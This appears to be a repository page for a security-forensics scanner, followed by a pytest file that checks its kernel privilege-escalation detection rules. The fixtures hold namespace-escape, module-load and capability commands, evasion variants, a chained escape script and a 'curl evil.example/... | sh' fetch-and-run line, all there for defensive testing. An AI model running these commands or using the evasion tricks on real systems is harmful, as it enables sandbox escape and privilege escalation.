Skip to content

alexgreensh/repo-forensics / skills/repo-forensics

repo-forensics

Flagged

Security forensics for git repos, AI skills, and MCP servers. Audits dependencies, detects prompt injection, credential theft, runtime dynamism, manifest drift, known CVEs, CISA KEV (actively exploited) vulns, and 2026 attack patterns. Not for fixing vulnerabilities or pentesting.

FileKindSize
.gitignoreother193 B
SKILL.mdskill md43.4 KB
checksums.jsonconfig10.8 KB
checksums.json.sigother64 B
data/README.mdmarkdown1.3 KB
data/compromised_versions.jsonconfig188.3 KB
data/rule_ids.csvother35.3 KB
data/rulepacks/.gitkeepother221 B
data/rulepacks/dead_anchors.jsonconfig9.0 KB
data/rulepacks/mcp_security.jsonconfig31.2 KB
data/rulepacks/runtime_dynamism.jsonconfig46.7 KB
data/rulepacks/sast.jsonconfig107.6 KB
data/rulepacks/secrets.jsonconfig30.4 KB
data/rulepacks/shared.jsonconfig4.4 KB
data/rulepacks/skill_threats.jsonconfig95.4 KB
data/runtime_floors.jsonconfig2.3 KB
data/yara/cryptominers.yarother1.8 KB
data/yara/hacktools.yarother2.2 KB
data/yara/malware.yarother2.2 KB
data/yara/manifest.jsonconfig8.0 KB
data/yara/webshells.yarother2.5 KB
references/cursor-hook-contract.mdmarkdown5.6 KB
references/kernel_privesc_sandbox_pack.mdmarkdown5.0 KB
references/mcp-attack-patterns.mdmarkdown8.7 KB
references/research_sources.mdmarkdown8.0 KB
references/threat_patterns.mdmarkdown20.3 KB
scripts/_context_gate.pyscript21.7 KB
scripts/_ed25519.pyscript5.1 KB
scripts/_pyc_unmarshal.pyscript17.1 KB
scripts/_shared_patterns.pyscript4.8 KB
scripts/adjudication.pyscript16.4 KB
scripts/adjudication_bridge.pyscript1.0 KB
scripts/aggregate_json.pyscript69.2 KB
scripts/auto_scan.pyexecutablescript152.1 KB
scripts/corpus_sync.pyscript10.0 KB
scripts/cursor_pre_scan.pyscript22.5 KB
scripts/dast_sandbox.sbother1.6 KB
scripts/dead_anchors_extract.pyscript14.8 KB
scripts/dead_anchors_probe.pyscript27.1 KB
scripts/forensics_core.pyscript176.5 KB
scripts/gen_rule_ids.pyscript8.6 KB
scripts/hook_adapter.pyscript19.4 KB
scripts/ioc_manager.pyscript49.6 KB
scripts/parse_pnpm_lock.pyscript7.9 KB
scripts/pre_scan.pyscript143.5 KB
scripts/pypi_pins.pyscript8.1 KB
scripts/refresh_controller.pyexecutablescript48.4 KB
scripts/refresh_threat_dbs.pyexecutablescript19.4 KB
scripts/rule_loader.pyscript44.8 KB
scripts/rulepack_feed.pyscript26.4 KB
scripts/run_forensics.shexecutablescript20.3 KB
scripts/sarif_export.pyscript18.6 KB
scripts/scan_agent_skills.pyscript33.2 KB
scripts/scan_archive.pyscript29.1 KB
scripts/scan_ast.pyscript44.9 KB
scripts/scan_binary.pyscript10.9 KB
scripts/scan_bytecode.pyscript28.2 KB
scripts/scan_dast.pyscript28.8 KB
scripts/scan_dataflow.pyscript15.4 KB
scripts/scan_dead_anchors.pyscript15.9 KB
scripts/scan_decode.pyscript37.5 KB
scripts/scan_dependencies.pyscript124.5 KB
scripts/scan_devcontainer.pyscript8.5 KB
scripts/scan_entropy.pyscript15.6 KB
scripts/scan_entrypoint.pyscript34.3 KB
scripts/scan_git_config.pyscript96.3 KB
scripts/scan_git_forensics.pyscript24.1 KB
scripts/scan_history.pyscript14.5 KB
scripts/scan_infra.pyscript54.3 KB
scripts/scan_integrity.pyscript41.0 KB
scripts/scan_lifecycle.pyscript65.1 KB
scripts/scan_manifest_drift.pyscript47.0 KB
scripts/scan_mcp_security.pyscript42.3 KB
scripts/scan_oversize.pyscript11.7 KB
scripts/scan_post_incident.pyscript36.9 KB
scripts/scan_provenance.pyscript19.4 KB
scripts/scan_runtime_dynamism.pyscript23.5 KB
scripts/scan_runtime_floors.pyscript33.5 KB
scripts/scan_sast.pyscript59.1 KB
scripts/scan_secrets.pyscript11.9 KB
scripts/scan_skill_threats.pyscript102.4 KB
scripts/scan_splitstream.pyscript29.5 KB
scripts/scan_yara.pyscript19.7 KB
scripts/session_scan.pyscript54.1 KB
scripts/suppressions.pyscript15.4 KB
scripts/validate_manifests.pyscript13.7 KB
scripts/verify_install.pyscript26.2 KB
scripts/vuln_feed.pyscript31.1 KB
tests/conftest.pyscript13.4 KB
tests/corpus/DEAD_ANCHORS_CORPUS.mdmarkdown2.3 KB
tests/corpus/budgets.jsonconfig5.6 KB
tests/cursor_helpers.pyscript12.6 KB
tests/fixtures/legacy_main_blocks.jsonconfig10.3 KB
tests/fixtures/powershell_verdict_corpus.jsonconfig114.9 KB
tests/golden/parity_mcp_security.jsonconfig17.5 KB
tests/golden/parity_runtime_dynamism.jsonconfig31.7 KB
tests/golden/parity_sast.jsonconfig59.8 KB
tests/golden/parity_secrets.jsonconfig18.8 KB
tests/golden/parity_skill_threats.jsonconfig48.8 KB
tests/parity_corpus.pyscript6.3 KB
tests/powershell_hook.pyscript8.2 KB
tests/report_builders.pyscript5.0 KB
tests/schemas/sarif-schema-2.1.0.jsonconfig109.1 KB
tests/shell_compat.pyscript2.2 KB
tests/test_adjudication_bridge.pyscript832 B
tests/test_adjudication_containment.pyscript1.4 KB
tests/test_adjudication_output.pyscript20.0 KB
tests/test_adjudication_suppressions.pyscript18.7 KB
tests/test_advisory_adjudication.pyscript1.3 KB
tests/test_agent_relay_rules.pyscript7.8 KB
tests/test_aggregate_json.pyscript10.0 KB
tests/test_auto_scan_patterns.pyscript10.5 KB
tests/test_benign_corpus.pyscript16.4 KB
tests/test_benign_new_scanners.pyscript6.1 KB
tests/test_build_output_skip.pyscript10.6 KB
tests/test_capability_ledger.pyscript18.8 KB
tests/test_codex_install.pyscript10.0 KB
tests/test_codex_marketplace.pyscript3.3 KB
tests/test_comment_false_positives.pyscript2.2 KB
tests/test_composer_dependencies.pyscript4.0 KB
tests/test_compromised_versions.pyscript51.2 KB
tests/test_context_gate.pyscript32.4 KB
tests/test_coverage_status.pyscript7.6 KB
tests/test_css_compounding_shrink.pyscript20.8 KB
tests/test_cursor_adapter.pyscript7.8 KB
tests/test_cursor_benign.pyscript3.4 KB
tests/test_cursor_degrade.pyscript12.7 KB
tests/test_cursor_install.pyscript17.1 KB
tests/test_cursor_latency.pyscript7.2 KB
tests/test_cursor_parity.pyscript5.8 KB
tests/test_cursor_redteam_fn.pyscript4.9 KB
tests/test_cursor_tamper_modify.pyscript14.2 KB
tests/test_cursor_wiring.pyscript32.3 KB
tests/test_d1_yara_correlation.pyscript9.2 KB
tests/test_dead_anchors_extract.pyscript7.6 KB
tests/test_dead_anchors_probe.pyscript19.7 KB
tests/test_evidence_engine_parity.pyscript8.1 KB
tests/test_evidence_model.pyscript11.4 KB
tests/test_forensics_core.pyscript79.2 KB
tests/test_fp_hardening_r3.pyscript9.7 KB
tests/test_fp_hardening_r4.pyscript18.8 KB
tests/test_fp_regression_pairs.pyscript62.5 KB
tests/test_fp_structural.pyscript21.2 KB
tests/test_freshness.pyscript6.2 KB
tests/test_frontmatter_validity.pyscript7.0 KB
tests/test_gpg_rce_hotfix.pyscript4.8 KB
tests/test_hook_inert_data.pyscript6.1 KB
tests/test_hook_scripts.pyscript14.0 KB
tests/test_inspection_cpu_budget.pyscript11.6 KB
tests/test_ioc_manager.pyscript55.4 KB
tests/test_kernel_privesc_rules.pyscript27.8 KB
tests/test_legit_precision_regressions.pyscript6.8 KB
tests/test_lethal_trifecta.pyscript20.7 KB
tests/test_manifest_signature.pyscript1.5 KB
tests/test_manifest_validity.pyscript2.9 KB
tests/test_monotonic_trust_e2e.pyscript4.4 KB
tests/test_non_breaking_contract.pyscript22.7 KB
tests/test_openclaw_install.pyscript6.6 KB
tests/test_pack_parity.pyscript24.8 KB
tests/test_parse_pnpm_lock.pyscript10.7 KB
tests/test_plugin_checkout_provenance.pyscript11.1 KB
tests/test_powershell_hook_wire.pyscript10.6 KB
tests/test_powershell_verdict_corpus.pyscript6.2 KB
tests/test_pr44_hardening.pyscript6.5 KB
tests/test_pre_scan.pyscript19.6 KB
tests/test_pre_scan_composer.pyscript7.4 KB
tests/test_precondition_fields.pyscript4.6 KB
tests/test_provenance_offline.pyscript2.5 KB
tests/test_published_rulepack_feed_current.pyscript1.4 KB
tests/test_py38_compat.pyscript3.3 KB
tests/test_pypi_pinned_versions.pyscript19.3 KB
tests/test_pyproject_string_forms.pyscript2.2 KB
tests/test_redteam_fn_regression.pyscript32.5 KB
tests/test_reflective_fetch_execute.pyscript23.5 KB
tests/test_reflective_review_fixes.pyscript17.8 KB
tests/test_refresh_controller.pyscript19.9 KB
tests/test_refresh_rulepacks.pyscript12.4 KB
tests/test_review_gate_regressions.pyscript9.3 KB
tests/test_rule_loader.pyscript23.2 KB
tests/test_rulepack_feed.pyscript38.1 KB
tests/test_run_forensics_json.pyscript1012 B
tests/test_run_scanner_fail_loud.pyscript6.5 KB
tests/test_runtime_floors.pyscript19.8 KB
tests/test_sandbox_probing_rules.pyscript9.6 KB
tests/test_sarif_export.pyscript19.9 KB
tests/test_scan_agent_skills.pyscript31.3 KB
tests/test_scan_archive.pyscript11.6 KB
tests/test_scan_ast.pyscript12.8 KB
tests/test_scan_binary.pyscript15.3 KB
tests/test_scan_bytecode.pyscript21.5 KB
tests/test_scan_dast.pyscript32.1 KB
tests/test_scan_dataflow.pyscript7.1 KB
tests/test_scan_dead_anchors.pyscript11.5 KB
tests/test_scan_decode.pyscript28.0 KB
tests/test_scan_dependencies.pyscript37.8 KB
tests/test_scan_devcontainer.pyscript8.5 KB
tests/test_scan_entropy.pyscript11.2 KB
tests/test_scan_entrypoint.pyscript19.5 KB
tests/test_scan_git_config.pyscript58.5 KB
tests/test_scan_git_config_review_fixes.pyscript33.3 KB

tests/test_kernel_privesc_rules.py

View on GitHub
"""Tests for the kernel-privesc SAST rules (SA-PY-025..031, SA-SH-020..024).

Detection pack for the primitive set behind VM/sandbox escape chains
(user-namespace creation, AF_NETLINK, net/sched control, kernel module loads,
capability manipulation, io_uring). These tests pin positives, negatives, and
adversarial variants (numeric-flag evasion, quoted subprocess tokens, getattr
and from-import aliasing, string concatenation, line continuations).

Round-2 design contract (adversarial-review driven):

* Dual-use shaping: bare dual-use PRESENCE is not an exploit signal. A bare
  pyroute2 import/reference does not fire (was 1,182 criticals on pyroute2
  itself in round 1); namespace syscalls require exploit-shaped usage
  (user-namespace flags, syscall numbers, exec context, getattr/from-import
  indirection); modprobe/insmod is demoted (SA-PY-031 medium, SA-SH-022 high)
  because system tooling loads modules routinely; nsenter only fires when
  targeting literal PID 1 / --target=1 (the container-escape shape), not the
  rootless-docker shape of entering a $pid's namespaces.
* Comment lines (leading optional whitespace then #) never match the SA-PY /
  SA-SH kernel rules; echo-prose lines and shell function definitions of
  modprobe/insmod do not match SA-SH-022 (an echo-led line still matches when a
  command separator ;/&&/||/| precedes the module load); read-only/diagnostic invocations
  (capsh --print/--decode, modprobe -n/-l/--show/--list) are excluded; tc
  show/getcap were already non-matching by construction.
* Severity tiering: critical = exploit-shaped usage (userns creation, tc
  mutation, act_pedit, capability writes, io_uring, AF_NETLINK); high/medium =
  dual-use module loads.

KNOWN LIMITATIONS (documented, accepted):
* pyroute2 fluent-API mutation (ipr.tc('add', 'htb', ...)) is NOT covered:
  per-line it is indistinguishable from pyroute2's own test suite (26 calls in
  pyroute2/tests). Only the pedit action shape (.tc(... pedit)) is matched.
* unshare(FLAGS_VARIABLE) / setns(fd, nstype_variable) with the flag behind a
  variable is not resolved; ctypes getattr with multi-segment concatenation
  beyond "un"+"share" / "set"+"ns" is not resolved.
* Shell variable indirection for the module-load lane (modprobe $MOD) is
  deliberately NOT flagged: legitimate tooling (moby) uses it. $VAR in the tc
  lane ($TC qdisc add) IS flagged; general $VAR/$() command indirection is a
  documented gap.
* ctypes raw syscalls by number are covered for x86_64 unshare/setns/clone3
  (272/308/435, SA-PY-026) and io_uring_setup (425, SA-PY-030) only;
  other architectures and other syscall numbers are a gap.
* AF_NETLINK sockets behind a variable or paren-split argument are not
  resolved (SA-PY-027 matches literal/named first arguments only).
* Embedded interpreters in .sh (python3 -c, perl -e), PowerShell carriers
  (.ps1), and Dockerfile/workflow-yaml carriers are outside this regex pack.
* Line continuations are joined in scan_sast's preprocessing for the SAST
  pack; the runtime_dynamism regex pass does not join continuations.
"""

import scan_sast as scanner


def _rule_ids(findings):
    return {f.rule_id for f in findings}


def _scan_py(tmp_path, body, name="probe.py"):
    f = tmp_path / name
    f.write_text(body)
    return scanner.scan_file(str(f), name)


def _scan_sh(tmp_path, body, name="probe.sh"):
    f = tmp_path / name
    f.write_text(body)
    return scanner.scan_file(str(f), name)


class TestUserNamespacePython:
    def test_clone_newuser_flag(self, tmp_path):
        findings = _scan_py(tmp_path, "import os\nos.unshare(CLONE_NEWUSER)\n")
        assert "SA-PY-025" in _rule_ids(findings)

    def test_clone_newuser_flag_combo(self, tmp_path):
        findings = _scan_py(tmp_path, "os.unshare(CLONE_NEWUSER | CLONE_NEWNET)\n")
        assert "SA-PY-025" in _rule_ids(findings)

    def test_unshare_numeric_flag_evasion(self, tmp_path):
        # 0x10000000 == CLONE_NEWUSER; dodges the flag-name rule, caught by the
        # syscall-name rule.
        findings = _scan_py(tmp_path, "libc.unshare(0x10000000)\n")
        assert "SA-PY-026" in _rule_ids(findings)

    def test_setns_ctypes(self, tmp_path):
        findings = _scan_py(tmp_path, "libc.setns(fd, 0)\n")
        assert "SA-PY-026" in _rule_ids(findings)

    def test_clone3_call(self, tmp_path):
        findings = _scan_py(tmp_path, "pid = libc.clone3(ctypes.byref(args), size)\n")
        assert "SA-PY-026" in _rule_ids(findings)

    def test_quoted_subprocess_token(self, tmp_path):
        findings = _scan_py(tmp_path, 'subprocess.run(["unshare", "-U"])\n')
        assert "SA-PY-026" in _rule_ids(findings)

    def test_benign_negative(self, tmp_path):
        findings = _scan_py(tmp_path, "unshares(x)\nunset(x)\ngit_clone(repo)\n")
        assert "SA-PY-025" not in _rule_ids(findings)
        assert "SA-PY-026" not in _rule_ids(findings)


class TestAfNetlinkPython:
    def test_named_constant(self, tmp_path):
        findings = _scan_py(tmp_path, "socket.socket(socket.AF_NETLINK, socket.SOCK_RAW)\n")
        assert "SA-PY-027" in _rule_ids(findings)

    def test_numeric_family_evasion(self, tmp_path):
        findings = _scan_py(tmp_path, "s = socket(16, socket.SOCK_RAW, 0)\n")
        assert "SA-PY-027" in _rule_ids(findings)

    def test_pf_netlink_alias(self, tmp_path):
        findings = _scan_py(tmp_path, "socket.socket(socket.PF_NETLINK, 0)\n")
        assert "SA-PY-027" in _rule_ids(findings)

    def test_benign_sockets_negative(self, tmp_path):
        body = "socket.socket(socket.AF_INET)\nsocket.socket(socket.AF_INET6)\nsocket.socket(socket.AF_UNIX)\nsocket.socket(socket.AF_PACKET)\n"
        findings = _scan_py(tmp_path, body)
        assert "SA-PY-027" not in _rule_ids(findings)

    def test_prose_mention_negative(self, tmp_path):
        findings = _scan_py(tmp_path, "# AF_NETLINK mention\n")
        assert "SA-PY-027" not in _rule_ids(findings)


class TestNetSchedPython:
    def test_bare_pyroute2_import_negative(self, tmp_path):
        # "Imports a networking library" is not "kernel exploit": bare
        # pyroute2 presence must NOT fire (1,182-FP explosion on pyroute2
        # itself in round 1).
        findings = _scan_py(tmp_path, "import pyroute2\nfrom pyroute2 import IPRoute\nip = IPRoute()\n")
        assert "SA-PY-028" not in _rule_ids(findings)

    def test_pyroute2_fluent_api_plain_add_negative(self, tmp_path):
        # pyroute2's own test suite calls .tc('add', ...) 26 times; a plain
        # fluent-API add is indistinguishable per-line and must not fire.
        findings = _scan_py(tmp_path, "context.ipr.tc('add', 'htb', index=index, handle='1:')\n")
        assert "SA-PY-028" not in _rule_ids(findings)

    def test_pyroute2_fluent_api_pedit(self, tmp_path):
        findings = _scan_py(tmp_path, 'ipr.tc("add-action", "pedit", index=idx)\n')
        assert "SA-PY-028" in _rule_ids(findings)

    def test_quoted_tc_subprocess_tokens(self, tmp_path):
        findings = _scan_py(tmp_path, 'subprocess.run(["tc", "qdisc", "add", "dev", "lo", "root", "netem"])\n')
        assert "SA-PY-028" in _rule_ids(findings)

    def test_tc_comment_line_negative(self, tmp_path):
        findings = _scan_py(tmp_path, '# "kind" object: see `tc filter add dev iface basic match`\n')
        assert "SA-PY-028" not in _rule_ids(findings)

    def test_tc_config_string(self, tmp_path):
        findings = _scan_py(tmp_path, "os.system('tc qdisc add dev eth0 root netem')\n")
        assert "SA-PY-028" in _rule_ids(findings)

    def test_act_pedit_module(self, tmp_path):
        findings = _scan_py(tmp_path, "mod = 'act_pedit'\n")
        assert "SA-PY-028" in _rule_ids(findings)

    def test_tc_show_negative(self, tmp_path):
        findings = _scan_py(tmp_path, "os.system('tc qdisc show')\n")
        assert "SA-PY-028" not in _rule_ids(findings)


class TestCapabilityPython:
    def test_capset_call(self, tmp_path):
        findings = _scan_py(tmp_path, "capset(hdrp, datap)\n")
        assert "SA-PY-029" in _rule_ids(findings)

    def test_prctl_capbset_drop_is_benign(self, tmp_path):
        # PR_CAPBSET_DROP drops a capability from the bounding set -- a hardening
        # primitive, not privilege escalation. Carved out (PR #44 review).
        findings = _scan_py(tmp_path, "libc.prctl(PR_CAPBSET_DROP, 19, 0, 0, 0)\n")
        assert "SA-PY-029" not in _rule_ids(findings)

    def test_prctl_cap_ambient_raise(self, tmp_path):
        # Raising an ambient capability is still flagged (PR_CAP*, not the DROP).
        findings = _scan_py(tmp_path, "prctl(PR_CAP_AMBIENT_RAISE, 21, 0, 0)\n")
        assert "SA-PY-029" in _rule_ids(findings)

    def test_libcap_binding(self, tmp_path):
        findings = _scan_py(tmp_path, "cap.cap_set_proc()\n")
        assert "SA-PY-029" in _rule_ids(findings)

    def test_benign_negative(self, tmp_path):
        findings = _scan_py(tmp_path, "capacity(x)\nprctl(PR_SET_NAME, name)\n")
        assert "SA-PY-029" not in _rule_ids(findings)


class TestIoUringPython:
    def test_setup_call(self, tmp_path):
        findings = _scan_py(tmp_path, "libc.io_uring_setup(128, ctypes.byref(params))\n")
        assert "SA-PY-030" in _rule_ids(findings)

    def test_liburing_load(self, tmp_path):
        findings = _scan_py(tmp_path, 'CDLL("liburing.so.2")\n')
        assert "SA-PY-030" in _rule_ids(findings)

    def test_prose_negative(self, tmp_path):
        findings = _scan_py(tmp_path, "# io_uring is fast\nduring_setup()\n")
        assert "SA-PY-030" not in _rule_ids(findings)


class TestModuleLoadPython:
    def test_subprocess_list_form(self, tmp_path):
        findings = _scan_py(tmp_path, 'subprocess.run(["modprobe", "act_pedit"])\n')
        assert "SA-PY-031" in _rule_ids(findings)

    def test_sbin_path_form(self, tmp_path):
        findings = _scan_py(tmp_path, "os.system('/sbin/modprobe act_pedit')\n")
        assert "SA-PY-031" in _rule_ids(findings)

    def test_insmod(self, tmp_path):
        findings = _scan_py(tmp_path, 'os.system("insmod /root/evil.ko")\n')
        assert "SA-PY-031" in _rule_ids(findings)

    def test_bare_word_negative(self, tmp_path):
        findings = _scan_py(tmp_path, "# load with modprobe\nrmmod act_pedit\n")
        assert "SA-PY-031" not in _rule_ids(findings)


class TestUserNamespaceShell:
    def test_unshare_long_flags(self, tmp_path):
        findings = _scan_sh(tmp_path, "#!/bin/sh\nunshare --user --map-root-user bash\n")
        assert "SA-SH-020" in _rule_ids(findings)

    def test_unshare_combined_short_flags(self, tmp_path):
        findings = _scan_sh(tmp_path, "#!/bin/sh\nunshare -Urm bash\n")
        assert "SA-SH-020" in _rule_ids(findings)

    def test_nsenter(self, tmp_path):
        findings = _scan_sh(tmp_path, "nsenter -t 1 -m -u bash\n")
        assert "SA-SH-020" in _rule_ids(findings)

    def test_negative(self, tmp_path):
        findings = _scan_sh(tmp_path, "share -x file\n# unshare mentioned\n")
        assert "SA-SH-020" not in _rule_ids(findings)


class TestNetSchedShell:
    def test_tc_qdisc_add(self, tmp_path):
        findings = _scan_sh(tmp_path, "tc qdisc add dev eth0 root handle 1: htb\n")
        assert "SA-SH-021" in _rule_ids(findings)

    def test_tc_action_pedit(self, tmp_path):
        findings = _scan_sh(tmp_path, "tc action add action pedit munge ip ttl set 63\n")
        assert "SA-SH-021" in _rule_ids(findings)

    def test_tc_show_negative(self, tmp_path):
        findings = _scan_sh(tmp_path, "tc qdisc show\ntc -s qdisc\n")
        assert "SA-SH-021" not in _rule_ids(findings)

    def test_etc_negative(self, tmp_path):
        findings = _scan_sh(tmp_path, "cat /etc config\n")
        assert "SA-SH-021" not in _rule_ids(findings)


class TestModuleLoadShell:
    def test_modprobe(self, tmp_path):
        findings = _scan_sh(tmp_path, "modprobe act_pedit\n")
        assert "SA-SH-022" in _rule_ids(findings)

    def test_insmod_path(self, tmp_path):
        findings = _scan_sh(tmp_path, "insmod /root/evil.ko\n")
        assert "SA-SH-022" in _rule_ids(findings)

    def test_sudo_prefix(self, tmp_path):
        findings = _scan_sh(tmp_path, "sudo modprobe br_netfilter\n")
        assert "SA-SH-022" in _rule_ids(findings)

    def test_rmmod_negative(self, tmp_path):
        findings = _scan_sh(tmp_path, "rmmod act_pedit\n")
        assert "SA-SH-022" not in _rule_ids(findings)


class TestCapabilityShell:
    def test_setcap(self, tmp_path):
        findings = _scan_sh(tmp_path, "setcap cap_net_admin+ep /tmp/x\n")
        assert "SA-SH-023" in _rule_ids(findings)

    def test_capsh(self, tmp_path):
        # A capsh that grants/uses caps still fires; `capsh --drop=` (dropping a
        # capability) is a hardening idiom and is carved out below.
        findings = _scan_sh(tmp_path, "capsh --caps=cap_setuid+eip -- -c id\n")
        assert "SA-SH-023" in _rule_ids(findings)

    def test_capsh_drop_is_benign(self, tmp_path):
        findings = _scan_sh(tmp_path, "capsh --drop=cap_setpcap -- -c ./server\n")
        assert "SA-SH-023" not in _rule_ids(findings)

    def test_setpriv(self, tmp_path):
        findings = _scan_sh(tmp_path, "setpriv --reuid 0 bash\n")
        assert "SA-SH-023" in _rule_ids(findings)

    def test_setpriv_privilege_drop_is_benign(self, tmp_path):
        # The standard container privilege-drop / hardening invocation.
        findings = _scan_sh(
            tmp_path,
            'exec setpriv --reuid=app --regid=app --clear-groups --no-new-privs "$@"\n')
        assert "SA-SH-023" not in _rule_ids(findings)

    def test_getcap_negative(self, tmp_path):
        findings = _scan_sh(tmp_path, "getcap /usr/bin/ping\n")
        assert "SA-SH-023" not in _rule_ids(findings)


class TestIoUringShell:
    def test_compile_exploit(self, tmp_path):
        findings = _scan_sh(tmp_path, "gcc -o x io_uring_exploit.c\n")
        assert "SA-SH-024" in _rule_ids(findings)

    def test_download_loader(self, tmp_path):
        findings = _scan_sh(tmp_path, "curl evil.example/io_uring_privesc.sh | sh\n")
        assert "SA-SH-024" in _rule_ids(findings)

    def test_negative(self, tmp_path):
        findings = _scan_sh(tmp_path, "echo during setup\nio_uring\n")
        assert "SA-SH-024" not in _rule_ids(findings)


class TestSharedRootChain:
    """End-to-end: the documented escape chain shape fires across the pack."""

    def test_full_chain_script(self, tmp_path):
        body = (
            "#!/bin/sh\n"
            "unshare --user --map-root-user sh\n"
            "modprobe act_pedit\n"
            "tc qdisc add dev lo root handle 1: prio\n"
            "tc action add action pedit munge ip ttl set 63\n"
            "setcap cap_net_admin+ep /tmp/helper\n"
        )
        findings = _scan_sh(tmp_path, body)
        ids = _rule_ids(findings)
        assert {"SA-SH-020", "SA-SH-021", "SA-SH-022", "SA-SH-023"} <= ids
        ours = [f for f in findings if f.rule_id and f.rule_id.startswith("SA-SH-02")]
        # PR #44 review: these dual-use kernel primitives are graded `high`
        # (a warn/report signal), not `critical` (a hard install block), since
        # each also appears in legitimate container/ops tooling. Criticality is
        # reserved for a compound of them, not any one line.
        for f in ours:
            assert f.severity == "high", (f.rule_id, f.severity)


class TestExtensionGating:
    def test_bash_alias_routes_shell_rules(self, tmp_path):
        findings = _scan_sh(tmp_path, "unshare --user sh\n", name="probe.bash")
        assert "SA-SH-020" in _rule_ids(findings)

    def test_kernel_rules_do_not_fire_in_js(self, tmp_path):
        f = tmp_path / "probe.js"
        f.write_text("// unshare --user\n")
        findings = scanner.scan_file(str(f), "probe.js")
        assert "SA-SH-020" not in _rule_ids(findings)


class TestNamespaceEvasionPython:
    """Adversarial variants for SA-PY-025/026 (round-2 coverage)."""

    def test_getattr_simple(self, tmp_path):
        findings = _scan_py(tmp_path, 'getattr(os, "unshare")(0x10000000)\n')
        assert "SA-PY-026" in _rule_ids(findings)

    def test_getattr_concat_unshare(self, tmp_path):
        findings = _scan_py(tmp_path, 'getattr(os, "un" + "share")(0x10000000)\n')
        assert "SA-PY-026" in _rule_ids(findings)

    def test_getattr_concat_setns(self, tmp_path):
        findings = _scan_py(tmp_path, 'getattr(libc, "set" + "ns")(fd, 0)\n')
        assert "SA-PY-026" in _rule_ids(findings)

    def test_from_import_alias(self, tmp_path):
        # The alias call _u(0x10000000) is unresolvable per-line; the
        # from-import of the syscall name is the flagged line.
        findings = _scan_py(tmp_path, "from os import unshare as _u\n_u(0x10000000)\n")
        assert "SA-PY-026" in _rule_ids(findings)

    def test_from_import_no_alias_negative(self, tmp_path):
        # pyroute2's own shape: importing a netns helper unaliased is the
        # legitimate-consumption lane, not an evasion.
        findings = _scan_py(tmp_path, "from pyroute2.netns import setns\n")
        assert "SA-PY-026" not in _rule_ids(findings)

    def test_syscall_number_setns(self, tmp_path):
        findings = _scan_py(tmp_path, "libc.syscall(308, fd, 0)\n")
        assert "SA-PY-026" in _rule_ids(findings)

    def test_syscall_number_unshare(self, tmp_path):
        findings = _scan_py(tmp_path, "libc.syscall(272, 0x10000000)\n")
        assert "SA-PY-026" in _rule_ids(findings)

    def test_decimal_flag_evasion(self, tmp_path):
        # 268435456 == 0x10000000 == decimal CLONE_NEWUSER: dodges the flag
        # name AND the hex form, caught as a decimal literal.
        findings = _scan_py(tmp_path, "libc.unshare(268435456)\n")
        assert "SA-PY-026" in _rule_ids(findings)

    def test_decimal_newnet_constant_quiet(self, tmp_path):
        # 1073741824 == 0x40000000 == decimal CLONE_NEWNET: netns management
        # (pyroute2's purpose), not the user-namespace escape primitive. The
        # decimal lane must match the named-flag contract exactly.
        findings = _scan_py(tmp_path, "libc.unshare(1073741824)\n")
        assert "SA-PY-025" not in _rule_ids(findings)
        assert "SA-PY-026" not in _rule_ids(findings)

    def test_newnet_only_not_user_ns(self, tmp_path):
        # CLONE_NEWNET alone is netns management (pyroute2's purpose), not the
        # user-namespace escape primitive; SA-PY-025/026 stay quiet.
        findings = _scan_py(tmp_path, "if libc.unshare(CLONE_NEWNET) < 0:\n")
        assert "SA-PY-025" not in _rule_ids(findings)
        assert "SA-PY-026" not in _rule_ids(findings)

    def test_definition_and_docstring_negatives(self, tmp_path):
        body = (
            "def setns(netns, flags=os.O_CREAT, libc=None, fork=True):\n"
            "    setns('/proc/1/ns/net')  # go back to default netns\n"
            "    state = ('setns', 'invalid')\n"
        )
        findings = _scan_py(tmp_path, body)
        assert "SA-PY-026" not in _rule_ids(findings)

    def test_syscall_number_io_uring_setup(self, tmp_path):
        # 425 == io_uring_setup on x86_64; labeled by the io_uring rule.
        findings = _scan_py(tmp_path, "libc.syscall(425, 32, ctypes.byref(params))\n")
        assert "SA-PY-030" in _rule_ids(findings)

    def test_variable_flag_documented_gap(self, tmp_path):
        # unshare(FLAGS) with the flag behind a variable is NOT resolved
        # (documented limitation); assert the current contract honestly.
        findings = _scan_py(tmp_path, "os.unshare(flags)\n")
        assert "SA-PY-026" not in _rule_ids(findings)


class TestModuleLoadEvasionPython:
    def test_concat_string(self, tmp_path):
        findings = _scan_py(tmp_path, 'cmd = "mod" + "probe" + " act_pedit"\n')
        assert "SA-PY-031" in _rule_ids(findings)

    def test_insmod_concat(self, tmp_path):
        findings = _scan_py(tmp_path, 'cmd = "in" + "smod /root/evil.ko"\n')
        assert "SA-PY-031" in _rule_ids(findings)

    def test_medium_severity(self, tmp_path):
        findings = _scan_py(tmp_path, 'subprocess.run(["modprobe", "act_pedit"])\n')
        ours = [f for f in findings if f.rule_id == "SA-PY-031"]
        assert ours and all(f.severity == "medium" for f in ours)


class TestShellEvasion:
    """Shell-lane adversarial coverage (round 2)."""

    def test_line_continuation_unshare(self, tmp_path):
        findings = _scan_sh(tmp_path, "#!/bin/sh\nunshare \\\n-Urn sh\n")
        assert "SA-SH-020" in _rule_ids(findings)
        ours = [f for f in findings if f.rule_id == "SA-SH-020"]
        assert ours[0].line == 2  # reported at the logical line's start

    def test_escaped_backslash_not_continuation(self, tmp_path):
        # A line ending in an escaped backslash is a literal backslash; the
        # next line is separate and must not be joined into a match.
        findings = _scan_sh(tmp_path, "unshare -m \\\\\n-Urn sh\n")
        assert "SA-SH-020" not in _rule_ids(findings)

    def test_variable_tc_command(self, tmp_path):
        findings = _scan_sh(tmp_path, "$TC qdisc add dev lo root netem\n")
        assert "SA-SH-021" in _rule_ids(findings)

    def test_tc_batch_file(self, tmp_path):
        findings = _scan_sh(tmp_path, "tc -batch /tmp/evil.tc\n")
        assert "SA-SH-021" in _rule_ids(findings)

    def test_modprobe_empty_string_concat(self, tmp_path):
        findings = _scan_sh(tmp_path, "mod\"\"probe act_pedit\n")
        assert "SA-SH-022" in _rule_ids(findings)

    def test_modprobe_comment_negative(self, tmp_path):
        findings = _scan_sh(tmp_path, "# modprobe the OVS kernel module\n\t# modprobe act_pedit\n")
        assert "SA-SH-022" not in _rule_ids(findings)

    def test_modprobe_function_definition_negative(self, tmp_path):
        body = "function modprobe {\n  echo \"Setting up modprobe for OVS kmod...\"\n}\n"
        findings = _scan_sh(tmp_path, body)
        assert "SA-SH-022" not in _rule_ids(findings)

    def test_modprobe_echo_prose_negative(self, tmp_path):
        findings = _scan_sh(tmp_path, 'echo "Setting up modprobe for OVS kmod..."\n')
